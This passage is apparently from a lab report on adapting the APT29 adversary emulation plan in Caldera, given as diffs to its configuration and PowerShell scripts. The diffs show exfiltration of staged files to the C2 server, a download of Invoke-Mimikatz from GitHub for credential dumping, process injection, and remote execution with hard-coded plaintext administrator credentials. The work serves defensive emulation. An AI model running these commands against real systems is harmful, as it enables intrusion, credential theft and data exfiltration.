

Key modifications of the emulation plan

The code corresponding to Scenario 2 was deleted from the APT29.yaml adversary configuration file. Additionally, the steps titled Access Token Manipulation, System Network Configuration Discovery, Process Discovery, System Service Discovery, Permissions Groups Discovery, Query Registry, Bypass User Account Control, Remote System Discovery, System Network Configuration Discovery, System Network Connections Discovery (T1049), Scheduled Tasks (T1053) and File and Directory Discovery (T1083) were removed from Scenario 1. These procedures were excluded either because they failed during execution and could not be successfully troubleshooted or because they did not represent core attack features. In addition, the IP address of the redirector and the hostname of the pivot machine were hard-coded in the document. The changes made to the final configuration file of the adversary profile for this project, compared to the original provided by the Center for Threat-Informed Defense, can be reviewed by cloning this project's GitHub repository and applying the command `git diff 01bcdab`, where 01bcdab is the first commit recording the original configuration of the APT29.yaml file.

Because the step Data from staged file and Exfiltration over C2 Channel failed with the original configuration, the file `~/caldera5/plugins/emu/payloads/upload.ps1` was adjusted. This script, which handles data exfiltration from a target host to the command-and-control server, was updated to change the API endpoint and the header value.

```
197 - Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\AppData\Roaming\Draft.zip" -Uri "#{server}/file/upload";
197 + Invoke-MultipartFormDataUpload -InFile "C:\Users\#{profile_user}\AppData\Roaming\Draft.zip" -Uri "#{server}/api/v2/payloads";
```

Figure 1: Modification of the `upload.ps1` script to update the endpoint from `/file/upload` to `/api/v2/payloads`

```
-- --
67 67 $contentDispositionHeaderValue = New-Object System.Net.Http.Headers.ContentDispositionHeaderValue "form-data"
68 - $contentDispositionHeaderValue.Name = "file"
68 + $contentDispositionHeaderValue.Name = "package"
69 69 $contentDispositionHeaderValue.FileName = (Split-Path $InFile -leaf)
```

Figure 2: Adjustment of the `$contentDispositionHeaderValue.Name` header from `"file"` to `"package"` in the `upload.ps1` script

As a result, the program began uploading staged files to the correct Caldera endpoint using the headers expected by the server. In addition, the header `$httpClient.DefaultRequestHeaders.Add("KEY", "ADMIN123")` was added to this file with the API key obtained from the `~/caldera5/conf/default.yml` configuration file. Furthermore, all `file/upload` API endpoints found in the

~/caldera5/plugins/emu/data/adversary-emulation-plans/apt29/Emulation_Plan/yaml/
APT29.yaml file were modified to api/v2/payloads.

Because the Planting Modified SysInternals Utilities step repeatedly timed out, its timeout value was increased from 60 to 600 seconds in the APT29 adversary configuration file. This change allowed the download process of SysInternals Suite to finish.

As the Process Injection procedure failed, the code injection command was modified to execute as a background job. This adjustment enabled it to bypass PowerShell session limitations and successfully complete.

```

436 - Inject -PoshCode $pcode;
436 + Start-Job -ScriptBlock { param($code); Import-Module .\Invoke-PSInject.ps1; Inject -PoshCode $code } -ArgumentList $pcode;
437 navloads;

```

Figure 3: Addition of the Start-Job script block to the Process Injection procedure

To resolve the issue of the Credential Dumping using Process Injection procedure failing, the GitHub link to the Mimikatz script was updated and assigned to a variable as follows.

```

693 655 $web = (New-Object System.Net.WebClient);
694 - $result = $web.DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-
Mimikatz.ps1");
656 + $url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1";
657 + $result = $web.DownloadString($url);

```

Figure 4: Substitution of the Mimikatz download URL with the BC-SECURITY/Empire main branch

Since the Remote System Discovery (T1018) step failed with the initial configuration, its custom functions from the psversion.ps1 script were replaced with native PowerShell commands to obtain the intended output, as shown below.

```

1143 - if (!(test-path -path "C:\Program Files\SysinternalsSuite")) {
1144 -     write-host "[!] The path C:\Program Files\SysinternalsSuite does not exist. Execution has stopped.";
1145 -     exit 1;
1183 + nlttest /dsgetdc; $domain = [ADSI]"LDAP://10.0.10.17/DC=ec,DC=sa,DC=com";
1184 + $searcher = [adsisearcher]$domain;
1185 + $searcher.Filter = "(objectClass=computer)";
1186 + $results = $searcher.FindAll();
1187 + foreach($res in $results) {
1188 +     Write-Host $res.Properties.name;
1146 1189 }
1147 1190
1148 - Set-Location -path "C:\Program Files\SysinternalsSuite";
1149 - . .\psversion.ps1;
1150 - Ad-Search Computer Name *;

```

Figure 5: Substitution of custom script dependencies with native PowerShell commands

To fix the Identifying current user on other machines procedure, the command enabling the execution of PowerShell instructions on a remote computer was introduced. In addition, the target machine was added to the trusted hosts list. Furthermore, the command that

previously triggered a pop-up was replaced with an instruction that facilitates fully automated emulation.

```
1096 - Invoke-Command -ComputerName "DESKTOP-22K140G" -Credential (Get-Credential) -Authentication Negotiate -ScriptBlock { Get-Process -  
IncludeUserName | Select-Object UserName, SessionId | Where-Object { $_.UserName -like "$env:USERNAME" } | Sort-Object SessionId -Unique } |  
Select-Object UserName, SessionId  
1097 -  
1097 + Enable-PSRemoting -Force; Set-Item WSMan:\localhost\Client\TrustedHosts -Value "DESKTOP-22K140G" -Force; $username = "Administrator";  
$password = "Password123!" | ConvertTo-SecureString -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential($username,  
$password); Invoke-Command -ComputerName "DESKTOP-22K140G" -Credential $cred -Authentication Negotiate -ScriptBlock { Get-Process -IncludeUserName  
| Select-Object UserName, SessionId | Where-Object { $_.UserName -like "$env:USERNAME" } | Sort-Object SessionId -Unique } | Select-Object  
UserName, SessionId  
1098 +
```

Figure 6: Activation of WinRM, configuration of TrustedHosts and substitution of interactive Get-Credential pop-up with pre-defined credentials

To prevent the agent on the pivot host from repeating the operation from the beginning, the singleton option was checked for each ability in the adversary profile.

The screenshot shows the 'Edit Ability' window for 'RTLO Start Sandcat'. The description is 'Perform RTLO technique with SANDCAT'. The tactic is 'execution', the technique ID is 'T1036.002', and the technique name is 'Masquerading: Right-to-Left Override'. In the 'Options' section, 'Singleton' is checked, while 'Repeatable' and 'Delete payload' are unchecked. At the bottom, there is an 'Executors' section with an 'Add Executor' button, and 'Reset', 'Delete', 'Cancel', and 'Save' buttons.

Figure 7: Activation of the Singleton option in the Edit Ability menu

As a result, instead of the pivot host entering a loop, the originally compromised machine and the pivot machine began sharing the remaining steps between them. However, this behaviour was undesirable, as only half of the procedures intended for the pivot host were executed on that machine, while the remaining steps were carried out by the agent on the initially compromised host. To address this issue, an additional ability for hostname discovery was introduced. This change caused both agents to execute all subsequent abilities at the same time rather than splitting them creating race conditions. Consequently, the pivot host was able to perform the full set of actions as intended. Although this modification also led to the first agent executing the abilities of the second agent, and the

pivot host carrying out the abilities designed for the originally compromised host, it did not derail the overall attack scenario. Both agents executing an ability is recorded by the Steps in Operation report compiled by the Debrief plugin. From page 7 of the document, an agent titled exuoyj that is spawned during the Copy Sandcat step begins executing abilities alongside the first Itgige agent.

Because the Reboot the machine to aid in persistence callbacks step terminated the agent after the host restarted, it was moved to the end of the attack sequence to avoid an operation disruption.